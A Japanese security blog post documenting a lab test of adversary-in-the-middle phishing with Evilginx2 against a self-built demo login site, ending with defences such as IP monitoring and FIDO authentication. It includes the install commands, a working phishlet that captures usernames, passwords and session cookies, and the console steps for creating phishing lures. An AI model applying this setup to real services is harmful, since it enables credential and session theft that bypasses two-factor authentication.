AiTMを検証してみた

このブログは、株式会社ArmorisアルバイトのShaderoが書いています。
本記事内の検証は、同じく株式会社Armorisアルバイトのseigoと協力し行いました。

あるもりすぶろぐの内容は個人の意見です。


はじめに

今回はフィッシング攻撃手法の1つであるAiTM(Adversary in The Middle)についての説明と検証、考えられる対策について述べます。

本手法を用いて悪用することは絶対に行わないでください。

AiTM概要

AiTMとはクライアントと正規サイトの間にプロキシを噛ませて通信内容を傍受するフィッシング攻撃です。

従来のフィッシングサイトは攻撃者が正規サイトを模したフィッシングサイトを構築し、ユーザにIDとパスワードを入力させ、その内容を記録した後に正規サイトに転送するフィッシング手法です。

AiTMが従来のフィッシングサイトと異なる点は、正規サイトを模したサイトを構築しなくても、クライアントと正規サイト間の通信を中継する事で怪しまれず簡単に通信を傍受できる点です。これによりアップデートにより正規サイトの見た目が変わっても攻撃者はその度にサイトを構築する必要がありません。

また、クライアントと正規サイト間の通信を傍受できる性質から、セッションCookieの傍受も可能です。そのためワンタイムパスワードやSMS認証など、2段階認証を用いたサイトであっても攻撃が可能である事が従来のフィッシングサイトと大きく異なります。

検証

実際にAiTMを中間者攻撃フレームワークであるEvilginx2と検証用に用意したWebサイトを用いて検証します。

悪用を避けるためや倫理上、今回の検証に用いる標的のWebサイトは既存サービスではなく、検証用に独自に作成したWebコンテンツを用いています。 またEvilginx2のセットアップに関しては解説を行いますが、検証用に用意したWebサイトのセットアップに関しては今回は解説を省略します。

検証環境

今回の検証ではEvilginxサーバ・Webサーバ・フィッシングサイトにアクセスする端末の3つの環境を用意して行いました。

Evilginxサーバ及びWebサーバはVagrantを用いて構築を行いました。OSはUbuntu22.04で、静的IPアドレスを割り当てています。

Vagrant.configure("2") do |config|
  config.vm.box = "generic/ubuntu2204"

  config.vm.define "site" do |server|
    server.vm.hostname = "site"
    server.vm.network "public_network", ip: "192.168.0.128", bridge: "Realtek Gaming 2.5GbE Family Controller"
  end

  config.vm.define "evilginx" do |server|
    server.vm.hostname = "site-evilginx"
    server.vm.network "public_network", ip: "192.168.0.129", bridge: "Realtek Gaming 2.5GbE Family Controller"
  end
end

system.png

検証において各環境間の通信には名前解決にmDNSを用いています。各環境のドメイン名は以下のとおりです。

環境 ドメイン
Evilginxサーバ site-evilginx.local
Webサーバ site.local

Webサーバ内のWebコンテンツは以下の画像のとおりです。

ユーザー名とパスワードを入力しログインを行うと、架空のユーザの個人情報(氏名・郵便番号・個人番号)が表示されます。

site-official-loginform.png

site-official-afterlogin.png

Evilginxのセットアップ

EvilginxサーバにEvilginxのインストール及びセットアップをします。

1. ダウンロード・インストール

Evilginx2のダウンロードにはGit・make・Golangのインストールが必要です。 導入していない場合は事前に導入してください。

$ git clone https://github.com/kgretzky/evilginx2.git
$ cd evilginx2
$ make
$ sudo make install

参考:Evilginx2公式リポジトリ

2. phishletの記述

phishletファイルの作成を行います。 phishletとは正規サイトをフィッシングサイトにプロキシするために必要なYAML形式の設定ファイルです。

ここでは検証のために用意したWebサイト用のphishletを記述しました。

実際に検証する場合にはphishletを対象のwebサイトに合わせて書き換える必要があります。 あくまで参考として御覧ください。

$ vim phishlets/site.yaml
author: 'shadero'
min_ver: '2.3.0'
proxy_hosts:
  - {phish_sub: '', orig_sub: '', domain: 'site.local', session: true, is_landing: true}

sub_filters:
  - {triggers_on: 'site.local', orig_sub: '', domain: 'site.local', search: '{hostname}', replace: '{hostname}', mimes: ['text/html']}

auth_tokens:
  - domain: 'site.local'
    keys: ['PHPSESSID']

credentials:
  username:
    key: 'username'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'

login:
  domain: 'site.local'
  path: '/login.php'

3. 起動・セットアップ

Evilginxを起動します。 今回はローカルネットワーク内で検証を行っているためローカルテスト用のモード(developerモード)で起動します。 また、その際に先程作成したphishletが参照されるように-pオプションを使って該当のphishletファイルが保存されているディレクトリを指定します。

sudo evilginx -p ./phishlets/ -developer

Evilginxが起動したらフィッシングサイトとして使用するドメインIPアドレスを設定し、先程のphishletを有効化してフィッシングサイトのセットアップを行います。

config domain site-evilginx.local # フィッシングサイトのドメインを指定
config ip 192.168.0.129 # フィッシングサイトのIPアドレスを指定
phishlets hostname site site-evilginx.local # phishletのホスト名を設定(今回はなし)
phishlets enable site # phishletを有効化
lures create site # フィッシングサイトのURLを作成

lures createコマンドを実行すると以下のような表示が出ます。

[inf] created lure with ID: 0

この表示に出てくるID(今回は0)を用いてフィッシングサイトのURLを取得します。

lures get-url 0

成功するとURLが取得されます(例:https://site-evilginx.local/vFFgubas

url.png

フィッシングサイトにアクセスする

それではEvilginxによって生成されたURLにアクセスを試みます。 準備したWebコンテンツのログイン画面がEvilginxで生成されたURLにアクセスすると確認できました。

続いて、架空のユーザのID・パスワードを入力してログインします。

EvilginxのURLでのログインが成功しています。この時すでにユーザID・パスワード・セッションCookieは傍受されており、Evilginxを実行しているターミナルで確認することが出来ます。

Evilginx上でsessionsと入力することで今までに取得した情報の一覧を取得できます。

またsession (session id)と入力することで取得した情報の詳細を見ることができます。 画像下部に書かれているpathやvalueなどがセッションの情報です。

考えられる対策

セッションCookieを傍受することで2段階認証なども突破できるAiTMですが、サービス側が行う対策として不審なIPアドレスの接続拒否やFIDOや証明書ベースの認証の採用が考えられます。

今回の検証で用いた環境に以下の条件でアクセスすると、ユーザエージェントなどは偽装されているもののアクセス元のIPアドレスは偽装できないことが分かります。

Firefoxを用いてWebサーバにアクセス
Firefoxを用いてEvilginxサーバ経由でアクセス
Microsoft Edgeを用いてEvilginxサーバ経由でアクセス

site-1  | 192.168.0.16 - - "GET /login.php HTTP/1.1" 200 725 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0"
site-1  | 192.168.0.129 - - "GET /login.php HTTP/1.1" 200 2595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0"
site-1  | 192.168.0.129 - - "GET /login.php HTTP/1.1" 200 2595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78"

したがって、アクセス傾向を定常的に確認し、特定の接続元からのアクセスが集中していないかなど監視を強化する事が対策として考えられます。

また、FIDO認証や証明書ベースの認証は、署名や証明書を用いており偽装や傍受が困難なため、有効な対策だと考えられます。

さいごに

今回はフィッシング攻撃手法の1つであるAiTMについての説明と検証、考えられる対策について述べました。

Evilginxのような中間者攻撃フレームワークによって2段階認証も突破可能なフィッシンサイトが容易に構築できてしまう事が今回の検証を通じて理解いただけたと思います。

IPアドレスの制限やFIDOの採用などがサービス側が行う対策として有効だと述べましたが、ユーザ側が行う対策としては「ドメイン名を確認する」「TLSが有効になっているか確認する」など一般的なフィッシングサイトの対策として挙げられる方法と変わりません。今後より一層これらの対策が求められると思います。